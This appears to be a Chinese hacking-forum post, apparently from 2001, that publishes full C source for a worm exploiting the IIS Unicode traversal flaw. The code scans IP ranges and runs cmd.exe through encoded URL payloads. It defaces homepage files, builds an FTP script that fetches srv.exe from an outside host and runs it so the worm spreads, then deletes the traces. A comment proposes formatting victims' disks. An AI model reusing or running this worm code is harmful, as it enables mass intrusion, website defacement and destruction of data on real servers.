在5.1期间的中美黑客战中,红客联盟攻击的网站中,WINDOWS+IIS+UNICODE漏洞主机占90%。(美国的poizenBOx同样是利用这个UNICODE漏洞攻击我国的主机)
详细请见http://www.cnhonker.com/whatnew/data/20010418/214346.htm
下面是我和zhaowuqing写的一个利用该漏洞的蠕虫程序。跟LION蠕虫有些相象,都需要把自己寄存到某个FTP主机上、、、、、、
运行:直接运行(无参数)将扫描本机IP开始的100个主机,并修改首页、传播
带参数运行 :iis 202.97.233.0 202.97.233.254 这将扫描该IP段的主机并实施攻击。
下面贴源代码
file://Don't forget to link with wsock32.lib :-o #include <windows.h> #include <stdio.h>
file://定义常量 int num=0; int ExeDirNum=0; HANDLE hSemaphore=NULL; MaxThread=100;//最大开100个线程扫描 file://下面定义漏洞数组 char *hole[]={"%c0%2f..%c0%2f..%c0%2f", "%c0%af..%c0%af..%c0%af", "%c1%1c..%c1%1c..%c1%1c", "%c1%9c..%c1%9c..%c1%9c", "%c0%2f..%c0%2f..%c0%2f", "%c0%af", "%c1%9c", "%c1%pc", "%c0%9v", "%c0%qf", "%c1%8s", "%c1%1c", "%c1%9c", "%c1%af", "%e0%80%af", "%f0%80%80%af", "%f8%80%80%80%af", "%fc%80%80%80%80%af", "%e0%80%af../..%e0%80%af../..%e0%80%af", "%e0%80%af..%e0%80%af..%e0%80%af", "%c1%1c../..%c1%1c../..%c1%1c", "%e0%80%af../..%e0%80%af../..%e0%80%af", "%e0%80%af..%e0%80%af..%e0%80%af","%c1%1c../..%c1%1c../..%c1%1c", "%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af", "%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af", "%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c"};
file://下面7个漏洞出现的目录,可以自己定义更多,但务必修改后改下面的for循环数字 char *ExeDirs[7]={"scripts","msadc","cgi-bin","_vti_bin","_vti_bin/msadc","scripts/msadc","IISADMPWD"};
file://声明函数 long GetLocalIP(void);//获得本机IP DWORD WINAPI FindExeDir(LPVOID lp);//找到可执行目录 char *GetData(int SockFD);//获取SEND返回的数据 char * find(const char*pszSource,const char * pszKey);//在返回数据中查找指定字符串
char *localpath;//system32的路径 char *exedir;//脚本路径 char* WebPath;//首页所存放的路径
file://程序入口
int main(int argc, char **argv) { HANDLE hThread=NULL; DWORD dwThreadID; long PreviousCount; int i; int StartNet; int StopNet; int StartHost;//IP段开始 int StopHost;//IP段结束 WSADATA wsaData; struct in_addr host; WSAStartup(0x202, &wsaData ); if(argc<2)//无参数运行的时候扫描本机IP开始的100个主机 { StartNet=GetLocalIP(); StopNet=GetLocalIP()+100; } else//参数iis 202.97.56.3 202.97.56.254这种方式,取参数作为IP段 { StartNet=inet_addr(argv[1]); StopNet=inet_addr(argv[2]); } StartHost=ntohl(StartNet); StopHost=ntohl(StopNet); WSACleanup(); do { host.S_un.S_addr = inet_addr(argv[1]); WSAStartup(0x202, &wsaData ); hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL); if(hSemaphore==NULL) { printf("\nCreateSemaphore failed:%d",GetLastError()); file://__leave; } for(i=StartHost;i<=StopHost;i++) { hThread=CreateThread(NULL,0,FindExeDir,(LPVOID)i,0,&dwThreadID); if(hThread==NULL) { printf("\nCreate thread failed:%d",GetLastError()); break; } printf("."); Sleep(10); CloseHandle(hThread); WaitForSingleObject(hSemaphore,INFINITE); } while(1) { WaitForSingleObject(hSemaphore,INFINITE); if(!ReleaseSemaphore(hSemaphore,1,&PreviousCount)) { printf("\nmain() ReleaseSemaphore failed:%d",GetLastError()); Sleep(5000); break; } if(PreviousCount==(MaxThread-1)) { printf("\nAll done."); break; } Sleep(500); } printf("发现可执行目录. [%s]\n", exedir); printf("可执行目录是 [%s]\n",localpath); CloseHandle(hSemaphore); WSACleanup(); } while(argc<2);//无参数运行,既在被黑主机上运行,死循环 return 0; }
long GetLocalIP(void) { char szName[128]; int i; PHOSTENT pHost; gethostname(szName, 128); printf("%s\n",szName); pHost = gethostbyname(szName); if( NULL == pHost )// failed return 0; for(i=0;pHost->h_addr_list[i]!=NULL;i++) printf("%s\n",inet_ntoa(*((struct in_addr *)pHost->h_addr_list[i]))); return inet_addr(inet_ntoa(*((struct in_addr *)pHost->h_addr_list[i-1]))); }
DWORD WINAPI FindExeDir(LPVOID lp) { int host=(int)lp; u_short port=80; int SockFD,i; struct sockaddr_in DstSAin; char waste[500],uniwaste[500]; char *buffer,*p; char space[3]; char dletter[2];//磁盘路径 char asc[3]; int rbytes=0,loc1=0,loc2=0; char locdir[300]; int exenum=0; crack: memset(locdir,0,300); memset(uniwaste,0,499); memset(space,0,3); strcpy(space,"%20"); memset(asc,0,3); strcpy(asc,"%3E"); printf("查找漏洞%d...\n",host); for(i=0;i<8;i++) { strcat(uniwaste,".."); strcat(uniwaste,hole[num]); file://把unicode码和URL结合起来. } memset(waste,0,500); file://create our string that sees if we can execute cmd.exe file://that way we know if a directory is executable and if the exe dir is on the same harddrive as cmd.exe sprintf(waste,"GET /%s/%s/winnt/system32/cmd.exe?/c%sdir HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space); SockFD=socket(AF_INET,SOCK_STREAM,0); DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(port); DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host); if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { printf("Trying directory [%s]\n", waste); send(SockFD,waste,strlen(waste),0); file://try one of the directories buffer=GetData(SockFD); p=strstr(buffer,"Directory of"); file://找到了cmd.exe的目录!!! if(p!=NULL) { loc1=p-buffer+1; p=strstr(buffer,"<DIR>"); if(p!=NULL) { loc2=p-buffer+1; loc2=loc2-27; buffer[loc2-2]='\0'; strncpy(locdir,buffer+loc1+12,290); file://Set executable directory. exedir=malloc(strlen(ExeDirs[exenum])+1); memset(exedir,0,strlen(ExeDirs[exenum])+1); memcpy(exedir,ExeDirs[exenum],strlen(ExeDirs[exenum])); file://Set executable directory path localpath=malloc(strlen(locdir)+1); memset(localpath,0,strlen(locdir)+1); memcpy(localpath,locdir,strlen(locdir)); closesocket(SockFD); file://查询首页位置 memset(waste,0,500); SockFD=socket(AF_INET,SOCK_STREAM,0); DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(port); DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host); sprintf(waste,"GET /%s/%s/winnt/system32/cmd.exe?/c%sset HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space); if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) {
send(SockFD,waste,strlen(waste),0); file://try one of the directories buffer=GetData(SockFD); WebPath=find(buffer,"PATH_TRANSLATED=");//上面通过cmd.exe?/c set命令显示主机配置 file://从中找到WEB目录,用来修改首页 closesocket(SockFD); strncpy(dletter,localpath,1); dletter[1]='\0'; printf("首页路径%s\n",WebPath); } memset(waste,0,500); SockFD=socket(AF_INET,SOCK_STREAM,0); DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(port); DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host); sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+哑哑呀哑哑呀哑哑呀哑哑呀default.asp>+%s\\default.asp HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,WebPath); if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { printf("修改首页default.asp \n"); send(SockFD,waste,strlen(waste),0); file://try one of the directories buffer=GetData(SockFD); p=strstr(buffer,"Access is denied"); if(p!=NULL) { printf("Access is denied"); } closesocket(SockFD); } memset(waste,0,500); SockFD=socket(AF_INET,SOCK_STREAM,0); DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(port); DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host); sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+哑哑呀哑哑呀哑哑呀哑哑呀index.asp>+%s\\index.asp HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,WebPath); if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { printf("修改首页index.asp \n"); send(SockFD,waste,strlen(waste),0); file://try one of the directories buffer=GetData(SockFD); p=strstr(buffer,"Access is denied"); if(p!=NULL) { printf("不能修改,文件属性有问题"); } closesocket(SockFD); } memset(waste,0,500); SockFD=socket(AF_INET,SOCK_STREAM,0); DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(port); DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host); sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+哑哑呀哑哑呀哑哑呀哑哑呀index.html>+%s\\index.html HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,WebPath); if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { printf("修改首页index.html \n"); send(SockFD,waste,strlen(waste),0); file://try one of the directories buffer=GetData(SockFD); p=strstr(buffer,"Access is denied"); if(p=NULL) { printf("不能修改,文件属性有问题"); } closesocket(SockFD); } memset(waste,0,500); SockFD=socket(AF_INET,SOCK_STREAM,0); DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(port); DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host); sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+哑哑呀哑哑呀哑哑呀哑哑呀和~~~default.htm>+%s\\default.htm HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,WebPath); if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { printf("修改首页default.htm \n"); send(SockFD,waste,strlen(waste),0); file://try one of the directories buffer=GetData(SockFD); p=strstr(buffer,"Access is denied"); if(p!=NULL) { printf("不能修改,文件属性有问题"); } closesocket(SockFD); } file://连接到FTP主机 memset(waste,0,500); SockFD=socket(AF_INET,SOCK_STREAM,0); DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(port); DstSAin.sin_addr.S_un.S_addr=htonl(host); sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+open+home4u.china.com>+%s:\\winnt\\system32\\up.txt HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,dletter); if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { printf("连接到FTP主机 \n"); send(SockFD,waste,strlen(waste),0); file://try one of the directories buffer=GetData(SockFD); p=strstr(buffer,"Access is denied"); if(p!=NULL) { printf("system32不允许写操作"); } closesocket(SockFD); } file://user 登陆 memset(waste,0,500); SockFD=socket(AF_INET,SOCK_STREAM,0); DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(port); DstSAin.sin_addr.S_un.S_addr=htonl(host); sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+111222>>+%s:\\winnt\\system32\\up.txt HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,dletter); if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { printf("登陆USER:111222\n"); send(SockFD,waste,strlen(waste),0); file://try one of the directories buffer=GetData(SockFD); p=strstr(buffer,"Access is denied"); if(p!=NULL) { printf("system32不允许写操作"); } closesocket(SockFD); } file://密码输入 memset(waste,0,500); SockFD=socket(AF_INET,SOCK_STREAM,0); DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(port); DstSAin.sin_addr.S_un.S_addr=htonl(host); sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+mmipip>>+%s:\\winnt\\system32\\up.txt HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,dletter); if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { printf("密码:mmipip \n"); send(SockFD,waste,strlen(waste),0); file://try one of the directories buffer=GetData(SockFD); p=strstr(buffer,"Access is denied"); if(p!=NULL) { printf("system32不允许写操作"); } closesocket(SockFD); } file://GET FILE memset(waste,0,500); SockFD=socket(AF_INET,SOCK_STREAM,0); DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(port); DstSAin.sin_addr.S_un.S_addr=htonl(host); sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+get+srv.exe>>+%s:\\winnt\\system32\\up.txt HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,dletter); if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { printf("下载srv.exe \n");//把自己下载到漏洞主机运行 send(SockFD,waste,strlen(waste),0); file://try one of the directories buffer=GetData(SockFD); p=strstr(buffer,"Access is denied"); if(p!=NULL) { printf("system32不允许写操作"); } closesocket(SockFD); } file://退出ftp主机 memset(waste,0,500); SockFD=socket(AF_INET,SOCK_STREAM,0); DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(port); DstSAin.sin_addr.S_un.S_addr=htonl(host); sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%secho+quit>>+%s:\\winnt\\system32\\up.txt HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,dletter); if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { printf("退出FTP主机 \n"); send(SockFD,waste,strlen(waste),0); file://try one of the directories buffer=GetData(SockFD); p=strstr(buffer,"Access is denied"); if(p!=NULL) { printf("system32不允许写操作"); } closesocket(SockFD); } file://开始FTP memset(waste,0,500); SockFD=socket(AF_INET,SOCK_STREAM,0); DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(port); DstSAin.sin_addr.S_un.S_addr=htonl(host); sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%sftp+-s:up.txt>>+%s:\\winnt\\system32\\up.txt HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,dletter); if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { printf("服务器下载文件 \n"); send(SockFD,waste,strlen(waste),0); file://try one of the directories buffer=GetData(SockFD); p=strstr(buffer,"CGI Error"); if(p!=NULL) { printf("FTP结束"); } closesocket(SockFD); } file://删除del.txt避免在主机上留有FTP信息 memset(waste,0,500); SockFD=socket(AF_INET,SOCK_STREAM,0); DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(port); DstSAin.sin_addr.S_un.S_addr=htonl(host); sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%sdel+%s:\\winnt\\system32\\up.txt HTTP/1.0\n\n",ExeDirs[exenum],uniwaste,space,dletter); if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { printf("删除FTP痕迹 \n"); send(SockFD,waste,strlen(waste),0); file://try one of the directories buffer=GetData(SockFD); p=strstr(buffer,"access is"); if(p!=NULL) { printf("删除失败"); } closesocket(SockFD); } file://运行 memset(waste,0,500); SockFD=socket(AF_INET,SOCK_STREAM,0); DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(port); DstSAin.sin_addr.S_un.S_addr=htonl(host); sprintf(waste,"GET /%s/%s/winnt/system32/cmd\".exe?/c%ssrv.exe HTTP/1.0\n\n",ExeDirs[exenum],uniwaste); if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { printf("在主机上运行自己 \n"); send(SockFD,waste,strlen(waste),0); file://try one of the directories buffer=GetData(SockFD); p=strstr(buffer,"CGI Error"); if(p!=NULL) { printf("运行成功");//此时存在漏洞的主机开始扫描自己IP段附近的漏洞主机 } closesocket(SockFD); } file://return 1; } } if(num<23)//循环尝试漏洞编码 { num++; closesocket(SockFD); goto crack; } else { if(exenum<6)//遍历各个目录 { num=0; exenum++; ExeDirNum=exenum; closesocket(SockFD); goto crack; } closesocket(SockFD); } printf("扫描全部结束,在此应该进行破坏性操作...\n"); file://可选办法,在目标主机上的autoexec.bat里加上格式化硬盘命令 file://然后执行ExitSystem(1);使主机重新启动 file://重新启动后格式化硬盘 } return 0; }
file://在返回的数据中查找指定信息 char* find(const char*pszSource,const char* pszKey) { static char szBuffer[2049]; const char * p; const char * q; p = q = NULL; p = strstr(pszSource,pszKey); if ( p != NULL ) { p += strlen(pszKey); q = strstr(p,"\r\n"); if ( q == NULL ) q = p + strlen(p); strncpy(szBuffer,p,q-p); return szBuffer; } return NULL; }
char *GetData(int SockFD) { file://get data without a blocking recv so we dont hang if we crash the server char *buffer; char data[2001]; unsigned long on=1; unsigned long off=0; char waste[2001]; int p, i=1; int t; memset(data,0,2001); p=ioctlsocket(SockFD,FIONBIO,&on); memset(waste,0,2001); for(t=1;t<10;t++){ i=recv(SockFD, waste, 2000, 0); if(i>0) break; Sleep(500); } waste[i]='\0'; strncat(data,waste,2000); buffer = ( char * )malloc( 2000 * sizeof( char ) ); strncpy( buffer, data, 2000 ); return buffer; }

|